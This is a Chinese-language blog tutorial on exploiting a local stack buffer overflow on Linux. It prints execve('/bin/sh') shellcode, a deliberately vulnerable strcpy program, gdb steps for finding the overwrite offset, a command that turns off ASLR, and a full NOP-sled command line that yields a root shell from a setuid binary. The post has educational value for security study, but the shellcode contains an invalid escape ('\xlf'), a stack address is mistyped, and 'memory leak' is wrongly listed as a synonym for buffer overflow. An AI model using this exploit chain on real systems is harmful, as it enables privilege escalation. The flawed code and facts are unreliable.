验证本地缓冲区溢出漏洞攻击

Info:本篇主要是为了验证本地缓冲区溢出,这是理解缓冲区溢出攻击的第一步,有了这一步,才能更深刻的理解到什么是缓冲区漏洞攻击,从而对以后的学习奠定一定的基础(注意:以下请在linux环境下实验)

  • 基本概念
  • NOP
  • shellcode
  • 验证1:shell.c文件实现漏洞攻击
  • 验证2:在命令行上进行栈溢出漏洞攻击
  • 总结

一、基本概念

缓冲区溢出漏洞产生的原因主要是使用不安全的函数或者是没有检测用户输入的长度所造成的,缓冲区溢出攻击是利用缓冲区溢出漏洞所进行的攻击行动。缓冲区溢出是一种非常普遍、非常危险的漏洞,在各种操作系统、应用软件中广泛存在。利用缓冲区溢出攻击,可以导致程序运行失败、系统关机、重新启动等后果。当造成溢出时,超出空间的数据将会被覆盖到正常的数据块上,这样就会造成数据混乱,可以利用它执行非授权指令,甚至可以取得系统特权,进而进行各种非法操作。缓冲区溢出攻击有多种英文名称:buffer overflow,buffer overrun,smash the stack,trash the stack,scribble the stack, mangle the stack, memory leak,overrun screw;它们指的都是同一种攻击手段。第一个缓冲区溢出攻击--Morris蠕虫,发生在二十年前,它曾造成了全世界6000多台网络服务器瘫痪。
在当前网络与分布式系统安全中,被广泛利用的50%以上都是缓冲区溢出,其中最著名的例子是1988年利用fingerd漏洞的蠕虫。而缓冲区溢出中,最为危险的是堆栈溢出,因为入侵者可以利用堆栈溢出,在函数返回时改变返回程序的地址,让其跳转到任意地址,带来的危害一种是程序崩溃导致拒绝服务,另外一种就是跳转并且执行一段恶意代码,比如得到shell,然后为所欲为。

——–百度百科

二、NOP

NOP命令(英语发音为“no-op”)意味着不执行任何的操作,EIP如何指向NOP处,那么他就会跳过中间件进入下一个函数

三、shellcode

Shellcode实际是一段代码(也可以是填充数据),是用来发送到服务器利用特定漏洞的代码,一般可以获取权限。另外,Shellcode一般是作为数据发送给受攻击服务器的。 Shellcode是溢出程序和蠕虫病毒的核心,提到它自然就会和漏洞联想在一起,毕竟Shellcode只对没有打补丁的主机有用武之地。网络上数以万计带着漏洞顽强运行着的服务器给hacker和Vxer丰盛的晚餐。漏洞利用中最关键的是Shellcode的编写。由于漏洞发现者在漏洞发现之初并不会给出完整Shellcode,因此掌握Shellcode编写技术就显得尤为重要。

——–百度百科

四、验证1:shell.c文件实现漏洞攻击

//shell.c
char shellcode[]="\x31\xc0\x31\xdb\xb0\x17\xcd\x80\xeb\xlf"
        "\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89"
        "\x46\x0c\xb0\x0b\x89\xf3\x8d\x4e\x08\x8d"
        "\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd\x80\xe8\xdc\xff\xff\xff/bin/sh";
int main(){
    int *ret;
    ret = (int *)&ret + 2;
    (*ret) = (int)shellcode;
}

使用gcc编译该原文件,shell中执行#chmod u+s shell ,表示对该文件具有所有者权限,执行#su user,切换到一个普通的用户(任意的用户)
现在我们执行#./shell命令,你就会发现一个#号,出现一个#号就代码成功获取了根用户的shell提示符。

五、验证2:在命令行上进行栈溢出漏洞攻击

1.基本准备工作与meet.c

下面是本次用到的实验文件meet.c,该文件存在一个缓冲区漏洞,详细文件如下:

//meet.c
#include <stdio.h>
#include <string.h>
greeting(char *temp1,char *temp2){
    char name[400];
    strcpy(name,temp2);
    printf("hello %s %s\n",temp1,name);
}
main(int argc,char * argv[]){
    greeting(argv[1],argv[2]);
    printf("Bye %s %s\n",argv[1],argv[2]);
}

在gcc环境下我们通过【#gcc -g -fno-stack-protector -o meet meet.c】命令,编译出meet可执行文件 (-fno-stack-protector选项的作用是为了关闭linux栈的保护机制,有助于我们验证缓冲区溢出的学习)接着:

#./meet mr `perl -e 'print "A" x 600'` //这里运用perl语言往缓冲区填充600个字符,不懂perl语言的可以网上参考相关资料.
Segmentation fault //这里爆出的信息说明我们name为400字节的缓冲区溢出了
#gdb -q meet //使用gdb来调试程序,看看eip是否改变了
(gdb) run mr `perl -e 'print "A" x 600'`
Program received signal SIGSEGV,Segmentation fault.
(gdb)info reg eip
eip 0x4112356c 0x4112356c`//从这里我们就可以发现eip已经指向了内存一块很远的地方。

现在我们发现eip已经指向了一块我们不认识的地方,说明程序中某个地方的栈针被破坏了,该程序进行了多次嵌套函数调用,因此存在多个栈帧。如果写入的数据超过了栈压入EIP的位置,就会将从temp1开始的函数参数覆盖,我们这里使用gdb进行验证,截图如下:
这里写图片描述
从图上显示,我们发现temp1,temp2指向地址0x41414141处,再使用gdb,我们来确认到底是从那个字符开始出现了这种情况,再次使用gdb:

#run Mr `perl -e 'print "A" x 400'`
#run Mr `perl -e 'print "A" x 401'`
...
#run Mr `perl -e 'print "A" x 408'`
Program reveived signal SIGSEGV,Segmentation fault.

下面是图片详细,我们可以看到,当我们往缓冲区输入408个字符的时候,在0x41414141处temp就gg了,所以我们就知道了,当缓冲区里有408个字符,就开始溢出了。

这里写图片描述

2、重复返回地址

当我们知道溢出字符的个数的时候,我们这里就开始重复返回地址,漏洞攻击中最重要的因素是返回地址的值,必须完美对其并对其进行重复,一直将栈上保存的EIP值覆盖。通过使用”asm(“movl %esp,%eax”)内联汇编,我们就可以知道当前ESP的值。具体这个c代码我就不介绍了,几行代码,相信大家通过百度都能够知道

    #./get_sp    //注意这个是get_sp.c编译后的可执行程序,get_sp.c就是来获取esp值用的,大家自己百度一下,代码太短,不想写了。
    Stack pointer (Esp):0xbffff418

这里需要注意的是我们需要关闭ASLR,这是一种栈随机保护机制,先执行这条命令,在执行./get_sp才能获得真正的esp值,关闭ASLR命令如下(重启操作系统需要再次执行,此服务开机自启动):

        #echo "0" > /proc/sys/kernel/randomize_va_space

3、验证准备开始

我们已经知道了esp的值为0xffff418,溢出个数为408,下面我们将使用perl在命令行操作,我们将408字符的一半也就是200个字节用NOP填充

perl -e 'print "\x90" x 200';

我们将shellcode打印到一个二进制文件中

#perl -e 'print "\x31\xc0\x31\xdb\xb0\x17\xcd\x80\xeb\xlf"
    "\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89"
    "\x46\x0c\xb0\x0b\x89\xf3\x8d\x4e\x08\x8d"
    "\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd\x80\xe8\xdc\xff\xff\xff/bin/sh";' > sc

我们计算shellcode的大小

    #wc -c sc
    55 sc

这里计算出为55,记下这个值

接下来需要计算的是shellcode的返回地址,当前的ESP值为0xbffff418,攻击缓冲区的长度为408个字节,其中前200个字节为NOP,我们这里为了达到NOP中部(为了能够顺利的进入shellcode),必须在当前栈地址之前300字节处运行,将当前ESP减去0x300,得到:

0xbffff418-0x300=bffff118;

在linux系统中编程是,在将数据存储到内存时候,首先写入的是低位字节,也就是小端字节序,IP网络采用的是先写高位字节的方式,这种方式称为网络字节序,这里我们采用小端字节序.

perl -e 'print "\x18\xf1\xff\xbf" x 38'

这里的38是通过 (408 - 200 -55)/4=38 得到的。408代表的是溢出所需位数,200代表NOP个数,55代表shellcode转换成二进制文件后的长度。

接下来我们就可以吧多个命令拼接起来形成最终的测试代码

#./meet mr `perl -e 'print "\x90" x 200';``cat sc``perl -e 'print "\x18\xf1\xff\xbf" x 38';`

最终结果如下:

这里写图片描述

最终我们验证了本地缓冲区溢出漏洞攻击。(你可以将当前用户切换为普通用户,在执行最终代码,也能达到效果。)

总结

以上简单的介绍了一下如何验证本地缓冲区溢出漏洞攻击,大家也知道,本地的也只是用来学习学习溢出的原理,本篇文章也是本人买的一本安全书籍所看的内容,觉得对自己理解缓冲区溢出漏洞攻击有一个引子作用,就把它作为一片博客来说了说,与大家分享分享,让我们喜欢网络安全的朋友来看看。其实这些都是最简单的内容,但从未知道已知总是有一个过程存在,这个过程或是心酸或是开心只有自己知道,我们能收获到什么也只有自己知道~~
好啦~做不好心灵鸡汤,那就到这儿了吧~~~~~~~~~~~·(大神看到不要打我,我还要写作业~)
思考,创造,存在诠释,改变。

  • 1
    点赞
  • 5
    收藏
    觉得还不错? 一键收藏
  • 1
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值